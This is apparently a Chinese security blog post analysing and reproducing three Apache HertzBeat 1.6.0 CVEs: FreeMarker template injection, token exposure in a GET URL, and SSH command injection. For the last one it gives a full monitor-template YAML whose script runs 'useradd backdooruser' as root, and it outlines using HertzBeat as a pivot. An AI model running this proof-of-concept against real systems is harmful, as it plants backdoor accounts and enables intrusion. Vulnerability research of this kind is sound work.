Apache HertzBeat的1.6.1版本中共发布了三份漏洞通告,三个CVE分别是CVE-2024-41151,CVE-2024-45791,CVE-2024-45505,从漏洞通告来看官方写的比较随意,也没有直接给出commit或者issuse链接,闲暇之余顺便看看,看完之后漏洞成因都还是比较简单,不用IDEA就能分析复现了,加上需要人工compare去分析,还是后台洞,可能这也是没人发的原因。
环境搭建
docker run -d -p 1157:1157 -p 1158:1158 --name hertzbeat apache/hertzbeat:v1.6.0
默认账号密码admin/hertzbeat
CVE-2024-41151 模板注入漏洞
漏洞通告标题写的notice template inject vulnerability ,描述中写的Deserialization of Untrusted Data vulnerability,但如果模板注入说是反序列化漏洞好像也说得通。
因为在compare了1.6.0和1.6.1之后发现改动太多了,还是首先去1.6.1的releases notes试试能不能直接找到相关修改。
直接搜索notice template关键字之后很容易就找到该漏洞的记录了(https://github.com/apache/hertzbeat/pull/2320)
从commit中很容易就知道了这是一个freemarker模板注入漏洞,在新版本中添加了freemarker官方的SAFER_RESOLVER
SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。
现在直接去找该模板调用的功能即可,notice tempalte即通知模板,在登录首页的消息通知中就可以找到新增通知模板的地方了,直接使用freemarker模板注入的常规payload即可。
要触发该模板解析自然需要触发相关通知机制了,随便创建一个通知媒介,然后再创建一个通知策略,其中通知策略使用刚刚创建的恶意模板即可。
然后创建一个能触发告警的监控任务,如监控一个不存在主机的存活,最后告警中心产生告警,就会触发通知策略,最后触发漏洞了。
CVE-2024-45791 信息泄露漏洞
刚开始以为是可以GET请求随意获取到用户Token,在releases notes搜索token关键字后可以直接定位到(https://github.com/apache/hertzbeat/pull/2720)
这个就很简单了,之前刷新Token的时候当前Token是直接在GET请求的URL中进行传递的,该Token是可能会被第三方平台的或者日志监控等平台记录下来(一般都只会记录请求的URL链接)导致泄露或者通过referer头泄露到第三方平台。但其实在实际中应该不太能利用,在修复中也是改为了在POST请求中进行传输,在burp log中就能直接找到这个请求了。
CVE-2024-45505 命令注入漏洞
这个漏洞通告也是很随意了,标题写的序列化和文件写入漏洞,描述写的命令注入漏洞,导致我怀疑是不是找错了漏洞,
在releases notes搜索序列化和文件写入没有结果后开始搜索command关键字,可以定位到(https://github.com/apache/hertzbeat/pull/2438),虽然也不知道是不是这个pull,从commmit可以看到在CommonSshBlacklist.java中添加了一个系统命令黑名单。
使用该黑名单的地方則是collector/src/main/java/org/apache/hertzbeat/collector/collect/ssh/SshCollectImpl.java
使用结合类名就大概知道是个什么场景了,通过ssh协议执行命令来收集数据时,原本是没有任何限制的,可能导致执行恶意命令,官方选择了维护了一个黑名单来防止该情况。
参考官方对ssh协议监控的介绍(https://hertzbeat.apache.org/zh-cn/docs/advanced/extend-ssh/)
可以看到要执行的命令就是再script字段进行定义。
使用官方的例子修改一下,新建一个监控模板,在script字段添加useradd 命令来添加后门用户。
# 请在此通过编写YML内容来定义新的监控类型, 参考文档: https://hertzbeat.apache.org/docs/advanced/extend-point
# 监控类型所属类别:service-应用服务 program-应用程序 db-数据库 custom-自定义 os-操作系统 bigdata-大数据 mid-中间件 webserver-web服务器 cache-缓存 cn-云原生 network-网络监控等等
category: os
# 监控应用类型(与文件名保持一致) eg: linux windows tomcat mysql aws...
app: example_linux
name:
zh-CN: 模拟LINUX应用类型
en-US: LINUX EXAMPLE APP
# 监控参数定义. field 这些为输入参数变量,即可以用^_^host^_^的形式写到后面的配置中,系统自动变量值替换
# 强制固定必须参数 - host
params:
- field: host
name:
zh-CN: 主机Host
en-US: Host
type: host
required: true
- field: port
name:
zh-CN: 端口
en-US: Port
type: number
range: '[0,65535]'
required: true
defaultValue: 22
placeholder: '请输入端口'
- field: username
name:
zh-CN: 用户名
en-US: Username
type: text
limit: 50
required: true
- field: password
name:
zh-CN: 密码
en-US: Password
type: password
required: true
# collect metrics config list
# 采集指标配置列表
metrics:
# 第一个监控指标 basic
# 注意:内置监控指标有 (responseTime - 响应时间)
- name: basic
# 指标调度优先级(0-127)越小优先级越高,优先级低的指标会等优先级高的指标采集完成后才会被调度,相同优先级的指标会并行调度采集
# 优先级为0的指标为可用性指标,即它会被首先调度,采集成功才会继续调度其它指标,采集失败则中断调度
priority: 0
# 具体监控指标列表
fields:
# 指标信息 包括 field名称 type字段类型:0-number数字,1-string字符串 label是否为标签 unit:指标单位
- field: hostname
type: 1
label: true
- field: version
type: 1
- field: uptime
type: 1
# 监控采集使用协议 eg: sql, ssh, http, telnet, wmi, snmp, sdk
protocol: ssh
# 当protocol为http协议时具体的采集配置
ssh:
# 主机host: ipv4 ipv6 域名
host: 192.168.18.45
# 端口
port: 22
username: root
password: root
script: useradd backdooruser
# 响应数据解析方式:oneRow, multiRow
parseType: multiRow
然后新建一个该监控模板的监控任务即可。
测试一下即可触发。
这个漏洞由于需要知道监控目标系统的ssh凭据,所以可能的场景要么是目标系统在内网某个ACL限制网段,无法通过ssh直连,只能通过当前hertzbeat主机访问,类似于SSRF,让hertzbeat主机做跳板,或者是修改当前正在使用的监控模板来控制目标系统,修改模板会直接影响到正在使用该模板的监控任务,因为你无法从监控任务中直接查看到监控目标系统已保存的ssh凭据信息,密码字段是加密状态(可能可以解密,没有细看),所以只有通过这个漏洞来执行命令,但如果可以解密的话那么该漏洞的利用场景可能只有第一种情况了。
同时这个黑名单的检测方式也很简单,应该会有后续的Bypass CVE可以水。